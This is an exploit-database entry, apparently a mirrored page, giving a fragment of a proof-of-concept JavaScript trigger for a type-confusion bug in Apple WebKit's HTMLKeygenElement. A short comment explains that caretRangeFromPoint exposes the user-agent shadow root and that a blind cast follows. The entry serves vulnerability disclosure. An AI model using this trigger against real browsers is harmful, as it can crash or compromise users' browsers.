发布 2017-02-01 漏洞条目

Apple WebKit – ‘HTMLKeygenElement’ Type Confusion

Exploit Source

var range = document.caretRangeFromPoint(50, 50);

var shadow_tree_container = range.commonAncestorContainer;

shadow_tree_container.prepend("foo");

keygen_element.disabled = true;

</script>

<!--

What happens here:

1. caretRangeFromPoint() allows accessing (and modifying) userAgentShadowRoot from JavaScript

2. HTMLKeygenElement::shadowSelect() blindly casts the first child of the userAgentShadowRoot to HTMLSelectElement without checking the Node type.

-->

相关漏洞条目